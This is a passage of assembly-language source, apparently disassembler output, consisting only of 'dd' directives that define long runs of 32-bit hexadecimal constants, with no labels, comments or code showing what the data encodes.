		dd 6A8053E7h, 23B6E5CBh, 42002235h, 8A070FA4h, 0C4413h
		dd 87F03FCEh, 5058E24Ah, 74FEA900h, 9F19CDB4h, 6AF1C5Dh
		dd 0D5A40C9h, 0CE02713h, 0DE59C800h, 12443AE3h,	0F5BC0262h
		dd 0C5487093h, 33DAA480h, 3E00804Eh, 0CB87A67Ah, 2B6729h
		dd 0E2F6A58Dh, 0AF7DEA85h, 0D9000F90h, 0E9A22231h, 8A3253h
		dd 1AC4BB5Eh, 9DFACF89h, 8D002DF6h, 6DB42143h, 0B6A0644h
		dd 6BD3112Eh, 89ADB180h, 0B000438Ch, 39F3E45h, 7EF7949h
		dd 0AFB12BCh, 0DF817007h, 0FE03947Ah, 0A5A72A2Fh, 0D415804Eh
		dd 46973091h, 7CC518F6h, 210EE300h, 336514CAh, 0C7698A0h
		dd 0BCD02431h, 494818ACh, 0EF4C2CAAh, 28D8003Eh, 51EA6888h
		dd 9579014Ah, 1F1A1229h, 818450C0h, 0B07E690Dh,	60C8376Eh
		dd 82EB2EFFh, 8F633D6Eh, 9F973D80h, 0B4F5799h, 982DF4A0h
		dd 0E50E1FE0h, 0A0F2E904h, 129994FBh, 0F1DC3011h, 0D57B7110h
		dd 9C5D4D07h, 0B5D792C7h, 0F6AC9DC0h, 50BF0056h, 401563EAh
		dd 0E17C48A9h, 0E7710700h, 4338032Ch, 855A0356h, 9EFF9FD8h
		dd 0E9897BC0h, 0A286CD03h, 0C07CD004h, 98A7169h, 22E62C10h
		dd 72384001h, 0AEF6F0ADh, 0D5DE0503h, 0C8FC1275h, 7F07B9h
		dd 1FB9166h, 9F819AF6h,	0EA309E28h, 123AA200h, 0EDC87C8Fh
		dd 0FB4C0320h, 5515D3F4h, 0E6515290h, 7126E39h,	6C718BD8h
		dd 0B08AC140h, 0F8D1181Eh, 69A82839h, 0D2040F05h, 1BE0E9A1h
		dd 47C71437h, 650084C2h, 0F3844E91h, 85006E26h,	0AA51217Bh
		dd 0C7B339h, 68059010h,	0E96C963Dh, 315EAE03h, 9058C187h
		dd 7ACB9AB1h, 1A3314F3h, 0A800949Fh, 9E0F9D8Dh,	9100154Ah
		dd 80EA8F5Dh, 0FCF1771h, 0D84A7D6h, 0F4AAA840h,	99048C39h
		dd 66E9DB52h, 5BD7FA30h, 3B17A38h, 0A8CCD044h, 4677E017h
		dd 7C9900EFh, 0A045799Ah, 0BA007213h, 24B47383h, 3EBDF636h
		dd 0CCBA5BADh, 96076D00h, 3EBA441Ah, 80700938h,	99AA93EEh
		dd 0E0E110h, 8EF968BDh,	0DDAE0AADh, 0BC96BB00h,	673E3349h
		dd 0EB5100DEh, 350B2D23h, 5E048F40h, 0F95BB1CAh, 66459480h
		dd 0B46D0015h, 9C621B49h, 992C93D1h, 7E031AB9h,	0A80B3890h
		dd 0EE8440AFh, 0A1E91D16h, 0BB00FA8Fh, 0A73EF881h, 0F4072A85h
		dd 139D84B5h, 18510863h, 8161861h, 4BEA7855h, 1E12891Dh
		dd 0E505D06h, 0E0D3F118h, 0E62913A4h, 31F86114h, 0D32B217Ah
		dd 51A64801h, 61AB5F65h, 0FA5BD0h, 6D2E929Ah, 0C80A6618h
		dd 1AF67307h, 0F850112Bh, 957AF9h, 0A1550616h, 2414AB5Bh
		dd 18048300h, 29AC0AFAh, 268A1476h, 24005031h, 4FAF9C5Ah
		dd 4E037D62h, 51468773h, 3D61D81Fh, 2A57077Bh, 70709278h
		dd 0B8775EA2h, 8D97BC06h, 5848C7h, 1638DA07h, 5F7631A6h
		dd 221D3Ah, 0F709A1B2h,	0A79005h, 1CE89704h, 145A577Eh
		dd 6B634801h, 0AE7636A5h, 3AC99CE8h, 9500F61Eh,	41473559h
		dd 0C5003466h, 0B972A7D3h, 2C3A2E40h, 951076B5h, 0CF8040Ah
		dd 0BCC1A960h, 0B027BFE7h, 878B2EE7h, 260200A4h, 443177A2h
		dd 8107DC7Ch, 3C591097h, 7CFB8C7h, 61CFF1B5h, 3C91B12h
		dd 0D4A02C40h, 28CB32B0h, 3FE3F350h, 90545106h,	1529EE89h
		dd 8085C11Eh, 3BE51400h, 180FB335h, 8A59471Fh, 7E4BEE40h
		dd 0E1773E23h, 28D2619Eh, 0D1976060h, 47213A4Ah, 618D19C0h
		dd 29DD50Eh, 990FB130h,	7090E8EEh, 40807CECh, 0A3440068h
		dd 0A2DA0139h, 0E8C48F09h, 4F1E566Eh, 0ED8066B8h, 323AF3F7h
		dd 25969111h, 0B515F205h, 0A24C6009h, 100133A8h, 67FA570Ch
		dd 0A9BA5688h, 521DC88h, 10FEA080h, 8037C6E5h, 246FD0ACh
		dd 591A0D39h, 739260h, 201E7B9Ah, 0B052323Fh, 499B0D00h
		dd 82B5A076h, 0A94702CBh, 0ACD114A3h, 0C1ACE063h, 8B0868C2h
		dd 206DDC78h, 0DF1FF838h, 0EDD300D9h, 4340705Ch, 150081A0h
		dd 0C2CDE7B1h, 303E9F62h, 5F81657Bh, 0AD00A28Ch, 41451D50h
		dd 7901FFC0h, 80710035h, 5EDD3C7Ah, 8C078289h, 885CAED4h
		dd 66F3A940h, 1C1F3BE5h, 0A2803C4Ch, 6CEC8DA4h,	9B46E100h
		dd 0EBF4AC92h, 7913021Fh, 0D9147782h, 8C31808Ch, 4B008AB8h
		dd 84325633h, 5BAB4D4h,	219B668h, 5CA44054h, 0F3162196h
		dd 0CD8D3D00h, 0C0C90B82h, 330C0135h, 0DCD49017h, 33988AEh
		dd 6788832Fh, 0A793319Eh, 5ADE7480h, 849C7D38h,	24021C72h
		dd 1D893C80h, 609EEFh, 9C2E6799h, 8C46C26h, 0BF6DAEh, 73C244D6h
		dd 19C08A85h, 8F629167h, 0CC0500C0h, 3693BAF1h,	9E03DC73h
		dd 4EA82889h, 0E75EE075h, 3F8C724h, 43DF80FEh, 8E0018F7h
		dd 9001DC8Dh, 0A8AB36Eh, 0AF4CDD56h, 668F03E6h,	830B40Eh
		dd 87D1215Dh, 2367B4Ch,	0AD12E79Ch, 0A2407FA0h,	0CB00246Eh
		dd 0E6D2563Fh, 12F47304h, 16D566h, 0C81C6854h, 0EA006278h
		dd 19FCBC7Ah, 3D9682DBh, 75B00C3Eh, 4CF26360h, 8E9B9A00h
		dd 0EFD90B7Bh, 0A0D20615h, 188D790Ch, 207689C7h, 72251141h
		dd 0D08311BEh, 37C096A6h, 0EFF37990h, 9D60C574h, 0A4D88921h
		dd 59160088h, 0F3BB15ACh, 0C0338697h, 4C1ADh, 50DE7C08h
		dd 8B254626h, 8CABC618h, 0FA129321h, 200A0698h,	9327259h
		dd 0F3219660h, 5C5039h,	45BF901Fh, 81C73456h, 27ABD10Ch
		dd 988958h, 0E5113CC8h,	0B7029AA8h, 75FF56C3h, 1CFCB827h
		dd 8C8450BAh, 88644408h, 0D27A0912h, 84CCEC0Ah,	3C4680A0h
		dd 99A4D501h, 0CC5BFC0h, 0BD888890h, 29C6A400h,	2C0CEA53h
		dd 0F2240AB5h, 3289478h, 87F8DC89h, 73CD1000h, 0C4CA7B9Fh
		dd 83BB00C6h, 0A4664856h, 5E00A7EFh, 75C94205h,	3E274F3h
		dd 0A9712873h, 0D0E3A22Ch, 602ECAE0h, 0BB2F1F01h, 3D4FBB2h
		dd 3095CECh, 28FF220Bh,	98074259h, 300ADD83h, 9F78071h
		dd 0BF085980h, 5960254Fh, 9358BFh, 3376BADBh, 0F0D6E942h
		dd 73159B00h, 5B29CB8Ch, 4630009h, 13CE1848h, 6D0061F3h
		dd 0D55099DAh, 1F1B674Bh, 3F5A5FBh, 75E37438h, 33871811h
		dd 2915790Fh, 0C9DBFF27h, 0E818638Ch, 31888A64h, 1878001Ch
		dd 8CA9D7D5h, 5D805301h, 7940BD09h, 602FC7D8h, 8B4A281Ah
		dd 0CD06D5CAh, 94BF018Eh, 0A7220CB9h, 60F852B0h, 80E8476Fh
		dd 38372C6h, 9A3A12ECh,	918000BCh, 0D80D50F1h, 26FBED01h
		dd 0F6E1318Dh, 0CBD4CAF5h, 80C50776h, 60B84952h, 0F9810EA5h
		dd 0B937E519h, 44A3810h, 0B6F2C8E0h, 51AE10C0h,	20DC544h
		dd 1908B5ECh, 7BD0DE5Eh, 7DC83F01h, 0AEEE7592h,	0C8BE51F4h
		dd 0D4421128h, 219124C4h, 518848E3h, 0C68F0BADh, 2511D066h
		dd 4D631993h, 0AC08A929h, 0B7D96144h, 0E907E4F8h, 481D4E31h
		dd 54DF47D0h, 0A56E01D3h, 0E1B8F87Fh, 992DC71h,	61E6D700h
		dd 15CAC359h, 0ABB00076h, 0A3C4251Fh, 7103365Fh, 227B636Ah
		dd 0AD0AD058h, 0DCB507FDh, 50074D1Fh, 0F99FA286h, 0AA22A300h
		dd 3FE0C948h, 0EBF5097Dh, 0A980C309h, 0A7368A99h, 19789F0Ch
		dd 7377CC32h, 1E4EEAEh,	92BFE6F6h, 819CFEDEh, 27060118h
		dd 2430D5E3h, 70EE0079h, 5A1EC57h, 8172B9C4h, 0CF375000h
		dd 3A28B1D2h
		dd 1FA298CCh, 87340DBAh, 91AAD35Ah, 0F8DDA122h,	1A013EE0h
		dd 5F1C0BA6h, 108E0667h, 81A0B409h, 7B0791FAh, 0BC05CFB0h
		dd 613A2F21h, 0F8B15180h, 3C5D00BFh, 85877CB8h,	13012B23h
		dd 0FFEC71F5h, 9D4A5E3h, 0A4C3001Fh, 0B02C1D6h,	22005C8Ah
		dd 6BD7909Ah, 0EC455Eh,	0CE5BF6BFh, 692410B5h, 11AA6E00h
		dd 125AF0BAh, 7E0478DDh, 2BAE0FE1h, 0FC0F6DBh, 9D5F20F2h
		dd 8F19EB02h, 80350352h, 5BFEABADh, 0B1FE0D9h, 685ED823h
		dd 8297B00h, 0E0748512h, 47B2660Fh, 0C84FC013h,	0EFA7DEh
		dd 0F29DF501h, 0E9273917h, 74A2800Ah, 5C00A0A3h, 0F44B93C6h
		dd 0AA7100B8h, 0B46BC2F2h, 2900922Ch, 351BB0DAh, 5DD70Eh
		dd 4522F151h, 0DC194FE5h, 16F7720Bh, 0C6D380B1h, 880F41h
		dd 4B23EF3Dh, 0D50E335Fh, 0C0020606h, 526944DCh, 0F000D817h
		dd 0EE050F9Fh, 1D007759h, 37A3F5D1h, 705C9C2Ah,	0F04400BFh
		dd 0B70C1A31h, 0D83CB17Eh, 0A30980D2h, 5B9969DFh, 0E5B50070h
		dd 0C8E06440h, 0C70A229Dh, 0B90451C0h, 38A4DE00h, 30EDAE2Dh
		dd 61F04BD0h, 2FB0535Dh, 63DDB000h, 98E9CDE5h, 4A560036h
		dd 38C120B1h, 2E011348h, 490688B8h, 9880C93Dh, 5CA032CCh
		dd 5300902Fh, 0BA395E84h, 50BB77D9h, 0CCF016h, 7514839Eh
		dd 4F973E1h, 0D6472800h, 0A0A8B90Fh, 0FB1A049Fh, 80FA0DECh
		dd 0CF24E878h, 18C3F600h, 6EBEF414h, 5C6600E2h,	92DE553Eh
		dd 0FD00C9A2h, 0C17B5BF9h, 5D6AEDh, 5AFE4679h, 0EB93FF8Ah
		dd 17A8F0A3h, 39264CF7h, 270054ECh, 0DB6CF86Fh,	8F8C04Ah
		dd 0E0479FBAh, 382C5Ch,	0E254361Eh, 0C58618h, 328FCCF5h
		dd 0CD09D7BAh, 390E1C00h, 0A0FE3A71h, 0F2B3007Eh, 62E26DB5h
		dd 7B399605h, 37F454A9h, 0B6984201h, 0E5326D3Fh, 706E8440h
		dd 0BC930019h, 0E43C91F6h, 0C6032CCEh, 0AF3A48FDh, 76DAF1F5h
		dd 3080FFCDh, 909B53C7h, 0F3007AEFh, 0D3C260E0h, 0F6D49D74h
		dd 211206B1h, 523F9992h, 38AC2E26h, 68958h, 0FDF4A38Eh
		dd 7E911C2Fh, 262B3400h, 7BB96B0Eh, 0FA860042h,	0EC1E81C8h
		dd 0F9074C4Fh, 9FA13B6Eh, 80080E69h, 2BCC4457h,	5AE00080h
		dd 8EF3CE70h, 2233343Fh, 0B01F401Dh, 0E65B5158h, 20CA0070h
		dd 321A3606h, 0DA00486Ah, 0EA0A6356h, 0EFABC40h, 901C8DC5h
		dd 55597DA0h, 3000B8DBh, 3E68F94h, 45D0E5h, 2C67A623h
		dd 0D8B5C7E2h, 0E9D26B00h, 0AE8EC40h, 3EBF0089h, 0F0188D97h
		dd 452E1AC2h, 5F07CB85h, 0E360D4BAh, 54D35CBh, 7654EBB5h
		dd 0CCAE00C2h, 0F4749569h, 5E794403h, 0A85B9406h, 57C749h
		dd 0E336418Fh, 0AADE2537h, 84933400h, 31A46829h, 0AFE1017Dh
		dd 0FB54DD0Fh, 3100C788h, 0FD81DE22h, 60433F15h, 3D7FA09Ch
		dd 0BC1817D9h, 70122D49h, 0BA5E1D59h, 2E9B00E7h, 0B544B78Eh
		dd 0D652A500h, 5672DB9Ch, 0CB850070h, 0EF4D1305h, 0E500EB8Bh
		dd 0DAE3CC07h, 0B5349Bh, 0A606F031h, 2BD0CF79h,	0E98BB107h
		dd 0FAC06EB2h, 0C063F89Ah, 24C5A910h, 0DA0060BBh, 0B1874703h
		dd 1D6714Eh, 9F98559Eh,	204DC732h, 0B4016384h, 62BA1AD2h
		dd 0BE30D3CAh, 0D8E90324h, 0F598EE1Eh, 583C56D8h, 916B312h
		dd 81AA6000h, 16748B2h,	0D2630494h, 0D8EAEE85h,	0D780909Ch
		dd 0B3530003h, 198189F5h, 0CA265137h, 9C00E4B5h, 97FF36D4h
		dd 52010016h, 0EE67FC10h, 0CFF837E8h, 3BF04706h, 0A0483Dh
		dd 635AE24h, 13E3801Ch,	0D8ABB00h, 11DAD1BDh, 43D800A1h
		dd 0B563B61Eh, 6A00AE78h, 5D06059Dh, 26F69914h,	23093Eh
		dd 17645921h, 910187F2h, 71CB5F4Ah, 0C1F03C8Ch,	4CF80CF1h
		dd 0ADE0BD15h, 0A4547A01h, 0FC14D3E6h, 3EB8FC80h, 0F2931538h
		dd 0D9992200h, 0AC502AAh, 32131E1Eh, 1AF002D1h,	0DEC1277Fh
		dd 0EAB5F018h, 0AFC87C07h, 1CE04B8Eh, 90DB0BC0h, 9A451D94h
		dd 67EE41D7h, 30228A46h, 0E200F135h, 3823F591h,	741346Ch
		dd 6EA671B0h, 8745B2D0h, 69687740h, 794B6101h, 2C5950ACh
		dd 197C20h, 0B258D03Dh,	0C8A4FC2Eh, 0A1BD1B00h,	0DC246E3h
		dd 888B0730h, 80A3D61Eh, 18324A05h, 0F4B65700h,	3569A84h
		dd 59B900C9h, 2C1AEDC0h, 2000A969h, 0D8379D40h,	0C6285Bh
		dd 821478EFh, 0E86648C3h, 381DBD76h, 224455F2h,	40C087FFh
		dd 3E58D0Dh, 0F071D317h, 62C03663h, 61003CE7h, 0E6B5F7B1h
		dd 7D04B8h, 1B171A60h, 8B1E80DEh, 311CD800h, 0E0E7CD3Ah
		dd 0C553023Ch, 0CE0D4F26h, 1D10E160h, 809B7B39h, 0B3DD5485h
		dd 0C47F14h, 49CFF6Dh, 0DB774033h, 0AF41E003h, 0E029F086h
		dd 0FEEFE250h, 40430F06h, 59A29E1Fh, 4F607413h,	3F006CBCh
		dd 7742AC5Dh, 0FC2CC9h,	4FCE285Ah, 0E549D87Dh, 0FDA70200h
		dd 240F6D8Eh, 0D6FE0053h, 0BC464C77h, 0A200E4E3h, 0F7ECEDF4h
		dd 0D4E23Eh, 57B7C5F1h,	69DB1DE8h, 0BFB65501h, 95508AEFh
		dd 0F2E043C5h, 0EE0100D4h, 6225591Fh, 0A7000703h, 9D507DCAh
		dd 98A9BFD6h, 0FBD100ECh, 8DFA98CBh, 92006C15h,	43B160EBh
		dd 7CB5F3h, 6E231A52h, 0A48A365Ch, 0E1A66A07h, 68F00EB0h
		dd 0C67D0Bh, 5C2C89AEh,	0A4FD51E8h, 0A0E1DC0Fh,	0F04960CEh
		dd 1418747Eh, 0A4544A2Bh, 0AC526008h, 0E07CFC00h, 0E666AA05h
		dd 9582006Bh, 9EA017E1h, 0F2018ED1h, 0E0E39AB7h, 0E860BE33h
		dd 0C91C01CCh, 0A8809EE2h, 0F8D46043h, 0F00837Bh, 0D32DA503h
		dd 2457948Ah, 806C5AD0h, 6D1C0D73h, 0C40198C7h,	0D1F2FF86h
		dd 0EBC012FDh, 528E001Bh, 732806D7h, 9F1E5EA8h,	0D201AC20h
		dd 0E7B5D4A6h, 7F3E20h,	2C3D11D9h, 41849DEEh, 2E613900h
		dd 594DDB72h, 7FC0B2BDh, 0B0A500ADh, 0D362D0D8h, 2F0C2CC8h
		dd 20BF5386h, 5850008Fh, 0D89FF8F9h, 9C017BAAh,	3B935F3Ah
		dd 0E020E96Eh, 342103A0h, 0BD97D28Dh, 60E08EEAh, 0CB01FFC2h
		dd 268C6FD8h, 0E8649549h, 4DFB0030h, 5F769A7Dh,	0D306376Dh
		dd 48BB4E42h, 0B0811DA2h, 875CD5h, 3EEAAA09h, 8D71461Ah
		dd 1C176E01h, 26D2CAFAh, 392FE4h, 2A0C4A98h, 0D98BE948h
		dd 9F09300h, 8276FD28h,	31D104FEh, 87487166h, 0F302C014h
		dd 1D0068BBh, 0AF188CEDh, 0A1F317Eh, 0DBD42DBAh, 295818Ch
		dd 2C9CF745h, 6E61011Ch, 809ACF3h, 0DF28F500h, 2DB43900h
		dd 2C043C36h, 0BA60C461h, 0BA4C006h, 0E9004E7Ah, 0E1E48D2Dh
		dd 3F48FFFDh, 7C00A719h, 926AA6B2h, 0C8501D3Eh,	2B05F8Ch
		dd 86E684FAh, 68F22D14h, 0FA1F00A9h, 5839EAE8h,	1F3E8F5h
		dd 43FEE7E1h, 304C5005h, 55585BBBh, 0DE580C90h,	721C02Eh
		dd 167AD1AFh, 4700BBFDh, 0EF013B6Dh, 0E5653F00h, 28C23A99h
		dd 0C0E25C0Bh, 83F9C700h, 9B10B453h, 13794000h,	54C5EBF1h
		dd 0C3AA0BCFh, 94267363h, 581E9920h, 169395C4h,	801E4820h
		dd 870400ACh, 0D1BB12CAh, 8600EC3Ah, 2D23E181h,	33B7668h
		dd 0B36D3D8Bh, 1CDA4DFAh, 607C18E1h, 0DF127F44h, 0CC839A7h
		dd 0E8090260h, 0FC504C46h, 1C899480h, 8700E370h, 0D4D02D92h
		dd 7DE8B6h, 86BDC8ADh, 53FD5BF9h, 9307C00h, 0E3739869h
		dd 62DA00A5h, 99C17160h, 0E800269Bh, 98E9CEDDh,	4D51901h
		dd 399E4F30h, 0C9FB8032h, 430113EBh, 5433F8D3h,	0CC300D0Ch
		dd 7D2E032Fh, 92AB96D0h, 16AC48E0h, 73579B00h, 0B5B034D2h
		dd 3510007Fh, 0D62EE397h, 1E0736A4h, 7E2464A3h,	0E67A19F0h
		dd 0D11D00D9h, 33B2B6F8h, 0FC722601h, 41325400h, 537CA151h
		dd 0E7653E94h, 4005AB8h
		dd 0F7C01413h, 25001943h, 0CF6712B6h, 0E8B906h,	0B1ECD730h
		dd 2E11C57Bh, 2FE66D00h, 9FFDA383h, 99AF0FE7h, 0E8C060AEh
		dd 0B988A7C1h, 51EC5400h, 0E0D4CD6Fh, 84C90235h, 86716248h
		dd 0E6426A60h, 5A887E00h, 0DF45AB5Eh, 4F7C0115h, 5DE4B3E0h
		dd 0A4E88036h, 0BA61A90Fh, 62831C78h, 7A003EA6h, 0E1D0BBF4h
		dd 6C00B232h, 0DBAF888Fh, 1E8C33h, 201DF006h, 0A9C2EEC9h
		dd 75233F00h, 5BDA32E8h, 0B9F6000Bh, 2A30EB17h,	6550A968h
		dd 0D1001998h, 6B01CFCDh, 3BAE4Fh, 4B7693A0h, 0E0BC67DEh
		dd 0B9700B76h, 255E7800h, 3AC0F9CEh, 0FC427D31h, 402B00B1h
		dd 0DCB07916h, 3000071Bh, 73978E38h, 1C50936Fh,	40BC86B3h
		dd 24AFCFD7h, 25185F6Dh, 264938BAh, 0D63006Fh, 84C2C485h
		dd 0FB00DC14h, 0E106F48Fh, 1CF6A8D5h, 0C02065C0h, 0AB973E8Ah
		dd 5C000232h, 0EA9AFB5Dh, 80079Dh, 2C8DC92Dh, 0E3949333h
		dd 64008090h, 34AA789Ch, 49FBDFh, 0AC2F9001h, 0A0CA86B2h
		dd 48645A00h, 0D82D63E2h, 0A397016Bh, 30C2399Ah, 2955CC7Eh
		dd 25B2A007h, 0B7B0927Ah, 7FCBA1h, 63FBFA6Eh, 4693411Ch
		dd 11916600h, 0F3C64D96h, 383EF4B9h, 0A88009D2h, 0F5662DD0h
		dd 4A008D7Eh, 0BCCF7DEEh, 21DAC0h, 6522C21Fh, 0CD977509h
		dd 3A8A2300h, 0A10EE83h, 5F4E00D1h, 629E9F41h, 8D0167B2h
		dd 0B0C1F2D7h, 0CCCCEA6Ch, 0C0470F36h, 0AFAFF57Dh, 51D5FB60h
		dd 4F00D91Ah, 0EC08A737h, 0B7B973h, 0F15A7E19h,	1DCA4C2Ch
		dd 13B54800h, 0AEC48F0Fh, 0CBE1C81h, 0FB064071h, 0E4F33ABh
		dd 36738E00h, 0D19F9267h, 43871FADh, 57C9C0EFh,	516D7A10h
		dd 48745400h, 0F3DABEB3h, 0C22E956h, 51AB4300h,	19EEB9F5h
		dd 0DAEF8700h, 0AAE5541Eh, 71B31E76h, 6D80B973h, 865DCBCh
		dd 81004AE2h, 0AE78970h, 24E53D2Eh, 1461BAh, 0A88C2047h
		dd 605CEDEh, 0B81B5597h, 0A277D400h, 0DAF4B1h, 1F8AFC70h
		dd 0DC37EB31h, 5FEE6B00h, 36F1B80h, 4F99718Dh, 66EDA0BFh
		dd 0F152E400h, 72FC247Dh, 307A903Ch, 56302CB0h,	0D0CFDF7Eh
		dd 0B95DA0BBh, 7C57AA8h, 0C084116Bh, 0A3CF3199h, 0D4A37129h
		dd 1307FE5Ah, 0D05D980Eh, 0B215BDB0h, 1A1200F7h, 0F3A1CC34h
		dd 9F2458C7h, 37008835h, 0AD1C3294h, 0B03100E8h, 78A0A295h
		dd 0BA00DCE7h, 7A4F64EBh, 74BF1Bh, 6A06A426h, 1F62D775h
		dd 97618D04h, 0B2810E5Dh, 905077E2h, 607B68h, 0B66D1753h
		dd 0C9DEA5A1h, 2E8FF905h, 7BBCF8BEh, 0BB5B007Bh, 840F404Ah
		dd 4395F35h, 0EB5801F9h, 5BFFD9CDh, 4AAD20h, 0FDC92E07h
		dd 0B58413B9h, 81646F00h, 0ADB2CF76h, 5955008Ah, 0DF78C7A6h
		dd 0B7012219h, 642B9B06h, 65C4C9B6h, 0DE2D014Fh, 0C496F809h
		dd 20E05745h, 0B77907Bh, 4C93Ch, 7E2ECE20h, 0F80E69B4h
		dd 1BC21D4Ah, 0DA304094h, 34A1FF42h, 0D1304EEAh, 736790CBh
		dd 15C00093h, 0C54BB720h, 0B1057568h, 0CD628BF7h, 0FD4CEB01h
		dd 48DC5E55h, 0D20C1EFEh, 0B43289E4h, 16B57400h, 0E601846Dh
		dd 0EAA21745h, 91DFF258h, 343062E8h, 0EEE10098h, 49034ADAh
		dd 0D001F10Eh, 133B3F2Ah, 1020570Ch, 0DEB20037h, 0C7E949FDh
		dd 30070FF6h, 3ED6FC25h, 0B9941DE0h, 61E400A6h,	45DE2EF4h
		dd 0C6007442h, 8676CF69h, 0FD9BFE4Ch, 54EC8230h, 771E4BBh
		dd 671B41ADh, 0B35D00AEh, 1190ACE1h, 74850801h,	0BCA08E6Bh
		dd 0CE4C24h, 332BFC04h,	1AE54629h, 38A80B34h, 11779090h
		dd 0E04E0CAEh, 0C0603801h, 5956D313h, 0B4C8C040h, 3D5AB9Eh
		dd 0B2D7B114h, 0D6E13B83h, 0B8C0F35Ch, 10CC3D15h, 8E1200Ch
		dd 0D4386C39h, 8087B40Eh, 3CC95D4Eh, 477432D6h,	51E01759h
		dd 1D3CA603h, 3CB30046h, 76DF9251h, 0BDB00053h,	19A92E58h
		dd 431DAE71h, 4F0E10E2h, 684355Ch, 0C833FD3Bh, 0D3AB3168h
		dd 20D5A908h, 34A079CAh, 3E66F6DEh, 48B9D9h, 0A202CC84h
		dd 8564C163h, 14817100h, 42B588EDh, 5557003Bh, 77601073h
		dd 7503A01Fh, 151246E4h, 17A790B3h, 7FD78F2h, 0D886E3D5h
		dd 0ED4920B5h, 0E40084F7h, 4FD3B6EFh, 796A8D7h,	0C27FC8A0h
		dd 531CF002h, 6B036942h, 0BA79B38h, 0BAD5F017h,	0C8E4000Ch
		dd 993D66B6h, 6D0005F8h, 0C2AE26FEh, 0FB23C5h, 374A0D85h
		dd 0D01814DAh, 262A6B15h, 57A51DB4h, 0D3DF361Ch, 62AA540Ch
		dd 942F5460h, 0B0D800C0h, 7873163Ch, 0B41E7DC2h, 4DC14256h
		dd 0AC864730h, 0BA18B12Fh, 0B7970138h, 3979FCBEh, 0FF3A4180h
		dd 34750A46h, 641111C0h, 50B77DFBh, 63AFDCE9h, 46CD0807h
		dd 0ECF72000h, 23031FFBh, 0E0267770h, 0B2C1009Bh, 38734AEEh
		dd 4830C0B5h, 0E7313158h, 9315007Eh, 33B0CCD5h,	0B1741CDEh
		dd 921AF60h, 0EA1686h, 0C50DDAE7h, 0EB6A2DF5h, 51573506h
		dd 295AB3h, 46F1AB44h, 628F5FF6h, 0B1C8FB61h, 0F083193Fh
		dd 0DD062D10h, 6FAD3800h, 0EE0F4C34h, 88BA03F1h, 4E62CFFEh
		dd 0D78464E8h, 0FF1CE000h, 83C88F05h, 1D0700BEh, 76467D47h
		dd 26000C55h, 9B1E6BA1h, 51B1F8h, 0A83DECD8h, 0C9727592h
		dd 5E417F00h, 0F49E82D6h, 224F005Dh, 5531660Fh,	4303D9F5h
		dd 0B233261h, 84C1C00Ah, 7E2200C9h, 11819DC4h, 0F4004A70h
		dd 0B5FEB2D0h, 0C0F753C1h, 5CAF3680h, 5A00D17Eh, 2B9D3E9Fh
		dd 1FDD3D24h, 0BC0CAE46h, 79121980h, 0BFB79128h, 730F977Ch
		dd 0C038B4FEh, 9E176859h, 0DF5E005Ch, 2F674223h, 7400419Ah
		dd 0E3C60C14h, 0EEB868h, 0A17CC5D9h, 0EB6C8877h, 0F238C00h
		dd 0FEC87138h, 0BD6300FDh, 24397CD8h, 0C9005B40h, 0C4A63D85h
		dd 1E93488h, 0BDF03EE1h, 70D7B378h, 0F0792C2h, 531D036h
		dd 0CB01CFE0h, 2F3D002Dh, 586B4BA6h, 0B3031DC9h, 0F8DCC868h
		dd 1430B04Fh, 0C8151E3h, 31D1040Ch, 0A51095C3h,	1CD8D893h
		dd 8EEDBE0h, 7FF0B300h,	0D16D03CEh, 866839FCh, 0D965A40Ch
		dd 0F384CF29h, 66E022CAh, 27AC0F22h, 22887853h,	673488F1h
		dd 90A26388h, 0F4CB8487h, 828384Ah, 8B90A513h, 4AD7E984h
		dd 6408142Ch, 0A63F88AEh, 5088E090h, 27943642h,	0E7887843h
		dd 9F6490D9h, 3721AA51h, 90C50308h, 93048468h, 379FB4Ch
		dd 96761D01h, 653B2E4Bh, 0C8A4D8h, 98B163EFh, 2D8CB279h
		dd 4E3C8F00h, 6FE011Bh,	5937B47h, 0B0643D9Ah, 1DD280E6h
		dd 0A4079561h, 8482B7E4h, 1B5A5DC0h, 23A90096h,	4291AE9Dh
		dd 0E9007CCAh, 765F078Ch, 0DDBC7Fh, 45A55A25h, 0B0F662A4h
		dd 0DB0CA277h, 1078FD8Ch, 20BB0015h, 41BE8A02h,	81124287h
		dd 245E970Fh, 3A7C94C1h, 7EF8AC37h, 665307D3h, 40D4E010h
		dd 0B83B0CC8h, 98496F00h, 95507274h, 713D00C3h,	11AAEBC6h
		dd 40000313h, 0C9F1C194h, 761DE601h, 23FD30F6h,	0B8AF9F21h
		dd 0F5570902h, 40738356h, 1B813BF6h, 88CB3F4Bh,	0D57E4E00h
		dd 0E065A272h, 59030020h, 0B8A1D88Fh, 8C00AED6h, 7734CF6Dh
		dd 7BFB5CCEh, 4A7D7Fh, 0E1A68BB3h, 0FFC4D098h, 0B2284200h
		dd 0E49E460Fh, 7CA7A027h, 23EA05AFh, 0ED1616Ah,	704604AFh
		dd 7607E043h, 26A4731Eh, 16CDD8F0h, 0CAD300D5h,	9645C297h
		dd 4F00ABC3h, 3FB26259h, 0E92C51h, 0E892F7E7h, 2AC38ABAh
		dd 53DE9C03h, 0A024A6C2h, 1D78F45Ch, 1D3A517Fh,	0BA5080F0h
		dd 6C5B671Ch, 91EFE00h,	0CD4E945Ch, 0E9F10215h,	51641337h
		dd 0A6ECD440h, 0AB000477h, 9D0F2BEFh, 3B697CFDh, 1B8713C3h
		dd 0F049D7B8h, 59B71C67h
		dd 1500DFF0h, 4F724C99h, 0F61EDBh, 48DE0E2Bh, 797FD221h
		dd 0E450E900h, 0B49278C0h, 0A5C3070Fh, 50B8635Dh, 0AF827F64h
		dd 68B7B102h, 480584CDh, 9089923Ch, 78A80310h, 470352Ch
		dd 2044AFA0h, 0E84EF500h, 3A72096Eh, 0C65D00F8h, 800B0457h
		dd 0EC261FCBh, 86014FF6h, 0FE971EEFh, 0A14834h,	0EB5EB165h
		dd 0B0ECB81h, 59AE430Ch, 1CA710ECh, 0C931F8h, 0DEB0BCD0h
		dd 0CF000947h, 0CC4B309Bh, 98B7EFDh, 8DA44114h,	29F53700h
		dd 7C7F6378h, 9C97DB00h, 946CCD48h, 931300D1h, 4E35FDD6h
		dd 654996B1h, 0EC087560h, 0AB9968h, 6E29B5DCh, 1F009855h
		dd 90FE74A2h, 58DB08h, 0C25C14AEh, 35830E07h, 0FC30C41Dh
		dd 7A999CBDh, 0C942FD80h, 6162C82Bh, 9C13D87Bh,	654700D3h
		dd 0A7073C08h, 12E38612h, 4F0040AFh, 46CC9C20h,	76E466B0h
